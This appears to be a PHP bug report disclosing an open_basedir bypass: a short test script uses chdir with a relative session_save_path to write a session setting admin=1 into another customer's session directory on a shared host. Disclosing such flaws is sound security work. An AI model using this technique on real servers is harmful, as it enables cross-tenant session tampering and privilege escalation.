Description:
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initial script directory: /var/www/html
open_basedir setting: /var/www/html
initial session save path: default

after executing test script, session is saved in the /other-customer-session-dir location


Test script:
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<?php
echo session_save_path()."<br>";
mkdir("a");
mkdir("a/b");
mkdir("a/b/c");
chdir("a/b/c");
session_save_path("../../../other-customer-session-dir");
chdir("../../..");
echo session_save_path()."<br>";
session_start();
$_SESSION['admin']=1;


Expected result:
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session is not saved in /other-customer-session-dir because this is outside open_basedir and inital location (when removed chdir from this code session_save_path("../../../other-customer-session-dir"); fails)


Actual result:
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session is saved in /other-customer-session-dir